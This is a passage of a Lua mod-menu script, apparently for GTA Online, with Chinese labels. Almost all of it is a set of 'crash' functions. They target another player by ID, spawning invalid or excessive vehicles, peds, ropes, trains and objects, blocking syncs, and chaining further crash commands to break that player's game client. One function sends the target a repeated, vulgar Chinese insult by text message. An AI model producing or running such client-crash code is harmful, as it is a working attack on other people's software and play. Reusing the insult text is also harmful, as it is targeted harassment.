        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle1, id, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
        ENTITY.SET_ENTITY_VISIBLE(vehicle1, true, 0)
        local vehicle4 = entities.create_vehicle(khanjali, playerpos, 0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle1, id, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
        ENTITY.SET_ENTITY_VISIBLE(vehicle1, true, 0)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle1)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle2)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle3)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle4)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle2, vehicle1, 0, 0, 3, 0, 0, 0, -180, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle3, vehicle1, 0, 3, 3, 0, 0, 0, -180, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle4, vehicle1, 0, 3, 0, 0, 0, 0, 0, 0, false, true, false, 0, true)
        ENTITY.SET_ENTITY_VISIBLE(vehicle1, true)
        wait(10000)
        end)

    GTAC(hidecrash, "闪现崩溃", {'skipcrash'}, "", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(player_id)
        local user = PLAYER.GET_PLAYER_PED(players.user())
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        local my_pos = ENTITY.GET_ENTITY_COORDS(user)
        local anim_dict = ("anim@mp_player_intupperstinker")
        GT.anim_request(anim_dict)
        GT.BlockSyncs(player_id, function()
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(user, pos.x, pos.y, pos.z, false, false, false)
            wait(100)
            TASK.TASK_SWEEP_AIM_POSITION(user, anim_dict, "toma", "puto", "tonto", -1, 0.0, 0.0, 0.0, 0.0, 0.0)
            wait(100)
        end)
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(user)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(user, my_pos.x, my_pos.y, my_pos.z, false, false, false)
    end)

    GTTG(PlayerMainMenu, '怒不可遏5.0', {"unableanger5th"}, '让您的对手怒不可遏!!!\nGRANDTOURINGVIP经典崩溃', function (on)
        if on then
        util.toast("你正在让他们怒不可遏 (请稍后...)")
        menu.trigger_commands("rockcrash".. PLAYER.GET_PLAYER_NAME(PlayerID))
        wait(100)
        menu.trigger_commands("flowerdance".. PLAYER.GET_PLAYER_NAME(PlayerID))
        wait(100)
        menu.trigger_commands("nsacrash".. PLAYER.GET_PLAYER_NAME(PlayerID))
        wait(100)
        menu.trigger_commands("loveclick".. PLAYER.GET_PLAYER_NAME(PlayerID))
        wait(100)
        menu.trigger_commands("huocheb".. PLAYER.GET_PLAYER_NAME(PlayerID))
        wait(100)
        menu.trigger_commands("rockets".. PLAYER.GET_PLAYER_NAME(PlayerID))
        util.toast("怒不可遏: 崩溃已发出")
        else
        menu.trigger_commands("rockcrash".. PLAYER.GET_PLAYER_NAME(PlayerID))
        menu.trigger_commands("flowerdance".. PLAYER.GET_PLAYER_NAME(PlayerID))
        menu.trigger_commands("nsacrash".. PLAYER.GET_PLAYER_NAME(PlayerID))
        menu.trigger_commands("loveclick".. PLAYER.GET_PLAYER_NAME(PlayerID))
        menu.trigger_commands("huocheb".. PLAYER.GET_PLAYER_NAME(PlayerID))
        menu.trigger_commands("rockets".. PLAYER.GET_PLAYER_NAME(PlayerID))
        util.toast("崩溃已被用户手动停止")
    end
    end)

    GTAC(PlayerMainMenu, "改进的懂哥", {}, "", function()
        PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(PLAYER.PLAYER_ID(),0xE5022D03)
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()))
        wait(20)
        local p_pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID))
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),p_pos.x,p_pos.y,p_pos.z,false,true,true)
        WEAPON.GIVE_DELAYED_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()), 0xFBAB5776, 1000, false)
        TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1087,-3012,13.94)
        wait(500)
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()))
        wait(1000)
        PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(PLAYER.PLAYER_ID())
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()))
    end)

    GTAC(PlayerMainMenu, "碎片崩溃", {"fragment"}, "", function()
        local object = entities.create_object(util.joaat("prop_fragtest_cnst_04"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
        OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, false)
        entities.delete_by_handle(object)
        local object = entities.create_object(util.joaat("prop_fragtest_cnst_04"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
        OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, false)
        entities.delete_by_handle(object)
        local object = entities.create_object(util.joaat("prop_fragtest_cnst_04"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
        OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, false)
        entities.delete_by_handle(object)
        local object = entities.create_object(util.joaat("prop_fragtest_cnst_04"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
        OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, false)
        entities.delete_by_handle(object)
        local object = entities.create_object(util.joaat("prop_fragtest_cnst_04"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
        OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, false)
        entities.delete_by_handle(object)
        local object = entities.create_object(util.joaat("prop_fragtest_cnst_04"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
        OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, false)
        entities.delete_by_handle(object)
        local object = entities.create_object(util.joaat("prop_fragtest_cnst_04"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
        OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, false)
        entities.delete_by_handle(object)
        local object = entities.create_object(util.joaat("prop_fragtest_cnst_04"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
        OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, false)
        entities.delete_by_handle(object)
        local object = entities.create_object(util.joaat("prop_fragtest_cnst_04"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
        OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, false)
        entities.delete_by_handle(object)
        local object = entities.create_object(util.joaat("prop_fragtest_cnst_04"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
        OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, false)
        wait(1000)
        entities.delete_by_handle(object)
    end)

GTLP(hidecrash,"无效绳索崩溃",{},"建议观看使用",function()
  pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
  dune = CreateVehicle(3602674979, pos, 0)
  ENTITY.SET_ENTITY_INVINCIBLE(dune, true)
  ENTITY.SET_ENTITY_VISIBLE(dune, false)
  dune1 = CreateVehicle(2633113103, pos, 0)
  ENTITY.SET_ENTITY_INVINCIBLE(dune1, true)
  ENTITY.SET_ENTITY_VISIBLE(dune1, false)
  barracks = CreateVehicle(3602674979, pos, 0)
  ENTITY.SET_ENTITY_INVINCIBLE(barracks, true)
  ENTITY.SET_ENTITY_VISIBLE(barracks, false)
  barracks1 = CreateVehicle(3471458123, pos, 0)
  ENTITY.SET_ENTITY_INVINCIBLE(barracks1, true)
  ENTITY.SET_ENTITY_VISIBLE(barracks1, false)
  dunecar = CreateVehicle(3852654278, pos, 0)
  ENTITY.SET_ENTITY_INVINCIBLE(dunecar, true)
  ENTITY.SET_ENTITY_VISIBLE(dunecar, false)
  barracks3 = CreateVehicle(630371791, pos, 0)
  ENTITY.SET_ENTITY_INVINCIBLE(barracks3, true)
  ENTITY.SET_ENTITY_VISIBLE(barracks3, false)
  barracks31 = CreateVehicle(630371791, pos, 0)
  ENTITY.SET_ENTITY_INVINCIBLE(barracks31, true)
  ENTITY.SET_ENTITY_VISIBLE(barracks31, false)
  ENTITY.ATTACH_ENTITY_TO_ENTITY(barracks3, dunecar, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
  ENTITY.ATTACH_ENTITY_TO_ENTITY(barracks31, dunecar, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
  ENTITY.ATTACH_ENTITY_TO_ENTITY(barracks, dunecar, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
  ENTITY.ATTACH_ENTITY_TO_ENTITY(barracks1, dunecar, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
  ENTITY.ATTACH_ENTITY_TO_ENTITY(dune, dunecar, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
  ENTITY.ATTACH_ENTITY_TO_ENTITY(dune1, dunecar, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
  car = CreatePed(9999, 2459507570, pos, 0)
  ENTITY.SET_ENTITY_INVINCIBLE(car, true)
  for i = 5, 1 do
    invalidpeda = CreatePed(9999, 2459507570, pos, 0)
    ENTITY.SET_ENTITY_INVINCIBLE(invalidpeda, true)
    ENTITY.SET_ENTITY_INVINCIBLE(invalidpeda, car, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
  end
  for i = 8, 2 do
    invalidpeda = CreatePed(9999, 2459507570, pos, 0)
    ENTITY.SET_ENTITY_INVINCIBLE(invalidpeda, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(invalidpeda, car, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
  end
  for i = 2, 15 do
    invalidpeda = CreatePed(9999, 2459507570, pos, 0)
    ENTITY.SET_ENTITY_INVINCIBLE(invalidpeda, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(invalidpeda, car, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
  end
  ENTITY.ATTACH_ENTITY_TO_ENTITY(car, dunecar, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
  pedp = players.user_ped(PlayerID)
  ENTITY.ATTACH_ENTITY_TO_ENTITY(dunecar, pedp, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
  ENTITY.DETACH_ENTITY(dunecar)
  allpeds = entities.get_all_peds_as_handles()
  for i = 1, #allpeds do
    pedhash = ENTITY.GET_ENTITY_MODEL(allpeds[i])
    if 2459507570 == pedhash then
      entities.delete_by_handle(allpeds[i])
      end
    end
end)

    GTAC(hidecrash, "无效绳索崩溃v2", {}, "", function()
		local TargetPlayerPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
        local TargetPlayerPos = ENTITY.GET_ENTITY_COORDS(TargetPlayerPed, true)

        local cargobob = CreateVehicle(0XFCFCB68B, TargetPlayerPos, ENTITY.GET_ENTITY_HEADING(SelfPlayerPed), true)
        local cargobobPos = ENTITY.GET_ENTITY_COORDS(cargobob, true)

        local vehicle = CreateVehicle(0X187D938D, TargetPlayerPos, ENTITY.GET_ENTITY_HEADING(SelfPlayerPed), true)
        local vehiclePos = ENTITY.GET_ENTITY_COORDS(vehicle, true)
        local newRope = PHYSICS.ADD_ROPE(TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, 0, 0, 10, 1, 1, 0, 1, 1, false, false, false, 1.0, false, 0)
        PHYSICS.ATTACH_ENTITIES_TO_ROPE(newRope, cargobob, vehicle, cargobobPos.x, cargobobPos.y, cargobobPos.z, vehiclePos.x, vehiclePos.y, vehiclePos.z, 2, false, false, 0, 0, "Center", "Center")
        wait(100)
    end)

    GTTG(hidecrash, "火车崩", {"huocheb"}, "", function(vs)
        train_loop = vs
        while train_loop do
        wait(0)
            local pos <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)) 
            pos.z = pos.z +0.8
                local train <const> = {184361638,642617954,586013744,920453016,3186376089,1030400667,240201337}
                    for var, value in pairs(train) do
                        local a = {}
                        for i = 1, 10, 1 do  
                            a[var] = CreateVehicle(value,pos,0)
                            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(value, true, false)
                            ENTITY.SET_ENTITY_COLLISION(value, true, true, true)
                            wait(0)
                            end
                        end
                        wait(0)
                        local car_vs = entities.get_all_vehicles_as_handles()
                        for k, value in pairs(car_vs) do
                        entities.delete_by_handle(value)
                    end
                end
            end)

    GTAC(hidecrash, "汪汪队崩溃", {""}, "", function()
        local mdl = util.joaat('a_c_poodle')
        BlockSyncs(PlayerID, function()
            if request_model(mdl, 2) then
                local pos = players.get_position(PlayerID)
                wait(100)
                local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 3, 0), 0) 
                local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
                WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
                local obj
                repeat
                    obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
                until obj ~= 0 or wait()
                ENTITY.DETACH_ENTITY(obj, true, true) 
                wait(1500)
                FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, false)
                entities.delete_by_handle(ped1)
                wait(1000)
            else
                util.toast("Error loading model.")
            end
        end)
    end)

     begcrash = {
		"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
		"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
		"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
		"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
    	"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
		"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
		"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
		"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
    	"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
		"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
		"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
		"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
    	"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
		"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
		"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
		"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
    	"崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残",
	}

	GTAC(hidecrash, "狗叫崩溃", {}, "已被主流菜单阻挡", function()
		menu.trigger_commands("smstext" .. PLAYER.GET_PLAYER_NAME(player_id).. " " .. begcrash[math.random(1, #begcrash)])
		wait()
		menu.trigger_commands("smssend" .. PLAYER.GET_PLAYER_NAME(player_id))
	end)

    GTAC(hidecrash, '无名崩溃', {}, '有bug，慎用', function ()
    local TargetPPos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID))
    local PED1  = CreatePed(28,-1011537562,TargetPPos,0)
    local PED2  = CreatePed(28,-541762431,TargetPPos,0)
    local stupid_pos <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)) stupid_pos.x = stupid_pos.x + 3
    local model = {util.joaat("cs_wade"),util.joaat("a_c_rat")}
    for _spawn, value in pairs(model) do
    local task_crash = {}
    task_crash[_spawn] = entities.create_ped(26,value,stupid_pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(task_crash[_spawn],true)
    for start, value1 in pairs(task_crash) do
    local play = {}
    WEAPON.GIVE_DELAYED_WEAPON_TO_PED(value1, util.joaat("weapon_pistol"), 0, true)
    wait(100)
    play[start] = TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user(PlayerID)),-1087,-3012,13.94)
    wait(100)
    ENTITY.FREEZE_ENTITY_POSITION(value1,false)
    end
    wait(100)
    WEAPON.GIVE_WEAPON_TO_PED(PED1,-1813897027,1,true,true)
    WEAPON.GIVE_WEAPON_TO_PED(PED2,-1813897027,1,true,true)
    wait(1000)
    TASK.TASK_THROW_PROJECTILE(PED1,TargetPPos.x,TargetPPos.y,TargetPPos.z,0,0)
    TASK.TASK_THROW_PROJECTILE(PED2,TargetPPos.x,TargetPPos.y,TargetPPos.z,0,0)
    entities.delete_by_handle(value)
    end
    end)

    GTAC(hidecrash,"ZS崩溃",{},"",function()
    local model_hash = ENTITY.GET_ENTITY_MODEL(PLAYER.GET_PLAYER_PED(PlayerID))
    local outfit_component_table = {}
    local outfit_component_texture_table = {}
    local outfit_prop_table = {}
    local outfit_prop_texture_table = {}
    for i = 0, 11 do
    outfit_component_table[i] = PED.GET_PED_DRAWABLE_VARIATION(players.user_ped(players.user()), i)
    outfit_component_texture_table[i] = PED.GET_PED_TEXTURE_VARIATION(players.user_ped(players.user()), i)
    end
    for i = 0, 2 do
    outfit_prop_table[i] = PED.GET_PED_PROP_INDEX(players.user_ped(players.user()), i)
    outfit_prop_texture_table[i] = PED.GET_PED_PROP_TEXTURE_INDEX(players.user_ped(players.user()), i)
    end
    for i = 1, 2 do
    local hash = int_to_uint(ENTITY.GET_ENTITY_MODEL(PLAYER.GET_PLAYER_PED(PlayerID)))
    if 2627665880 == hash then
    hash2 = 1885233650
    else
    hash2 = 2627665880
    end
    STREAMING.REQUEST_MODEL(hash)
    STREAMING.REQUEST_MODEL(hash2)
    PLAYER.SET_PLAYER_MODEL(hash2)
    wait(100)
    ENTITY.SET_ENTITY_HEALTH(players.user_ped(players.user()))
    wait(100)
    PED.RESURRECT_PED(players.user_ped(players.user()), 0)
    wait(300)
    PLAYER.SET_PLAYER_MODEL(hash)
    wait(100)
    ENTITY.SET_ENTITY_HEALTH(players.user_ped(players.user()))
    wait(200)
    PED.RESURRECT_PED(players.user_ped(players.user()), 0)
    ENTITY.SET_ENTITY_HEALTH(players.user_ped(players.user()))
    wait(100)
    PED.RESURRECT_PED(players.user_ped(players.user()), 0)
    wait(100)
    end
    wait(1000)
    PLAYER.SET_PLAYER_MODEL(model_hash)
    wait(100)
    for i = 0, 11 do
    PED.SET_PED_COMPONENT_VARIATION(players.user_ped(players.user()), i, outfit_component_table[i], outfit_component_texture_table[i], 0)
    end
    for i = 0, 2 do
    PED.SET_PED_PROP_INDEX(players.user_ped(players.user()), i, outfit_prop_table[i], outfit_prop_texture_table[i], 0)
    end
    end)

    GTLP(invalidclothes, "无效载具崩溃v12", {"BadNetV12"}, "伤敌一千,自损八百", function ()
    local stupid_pos <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)) stupid_pos.z = stupid_pos.z + 1
    util.create_thread(function ()
    local mod_vel = {-1958189855}
    for _spawn, value in pairs(mod_vel) do
    local s = {}
    for i = 1, 7, 1 do  
    s[_spawn] = CreateVehicle(value,stupid_pos,0)
    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(Entity, true, false)
    wait(0)
    end
    end
    wait(8000)
    menu.trigger_commands("rockets" ..  players.get_name(PlayerID))
    local ar_vs = entities.get_all_vehicles_as_handles()
    for key, value in pairs(ar_vs) do
    entities.delete_by_handle(value)
    end
    end,nil)
    end)

    function entity_vehicle(hash,coords,dir) 
    STREAMING.REQUEST_MODEL(hash)
    while not STREAMING.HAS_MODEL_LOADED(hash) do
    wait()
    end
    vehicle = entities.create_vehicle(hash,coords,dir,true,false)
    STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash)
    return vehicle
    end
    menu.click_slider(hidecrash,"实体掉帧",{"Drop frame"},"1=客机--2=虎鲸--3=飞机--4=删除",1,4,1,1,function(ak)
    if ak == 1 then
    for i = 1,70 do
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    vehicle1 = entity_vehicle(0x15F27762,pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(vehicle1,true)
    entitypool[#entitypool+1] = vehicle1
    wait(200)
    end
    elseif ak == 2 then
    for i = 1,70 do
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    vehicle1 = entity_vehicle(0x4FAF0D70,pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(vehicle1,true)
    entitypool[#entitypool+1] = vehicle1
    wait(200)
    end
    elseif ak == 3 then
    for i = 1,70 do
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    vehicle1 = entity_vehicle(0x3F119114,pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(vehicle1,true)
    entitypool[#entitypool+1] = vehicle1
    wait(200)
    end
    elseif ak == 4 then
    entity_deletes(entitypool)
    end
    end)

    GTAC(PlayerMainMenu, "马哥崩溃", {"gtgvs"}, "", function()
        menu.trigger_commands("planecrash " .. players.get_name(PlayerID))
        menu.trigger_commands("ChernobogCrash " .. players.get_name(PlayerID).. " 1")
        menu.trigger_commands("dh " .. players.get_name(PlayerID))
    end)

    GTAC(hidecrash,"物体附加崩溃",{},"",function()
    ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(PlayerID), true)
    entities.create_object(854521792, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(1230813074, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(992647982, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(992647982, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(1230813074, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(379464063, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(3842125059, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(379464063, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(3842125059, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(3118716721, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(628215202, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(454560116, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(2155335200, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(454560116, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(3214960853, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(1766664132, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(1285387036, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(2379784022, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false)  
    entities.create_object(4187491267, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(898538019, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false)  
    entities.create_object(2136062268, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(3026386862, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(1830560242, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(546277594, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(905229220, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(4266988797, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(565828550, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(2378727039, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(3121034765, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(2710564114, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(2075346744, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(1766664132, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false)  
    entities.create_object(238789712, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(2944353280, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(73817482, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(2379784022, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(3360369104, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(1222719889, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(3461835647, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(2177832325, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(2812645111, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(2111381284, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(861842375, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(2948772422, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false)  
    entities.create_object(4222615668, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
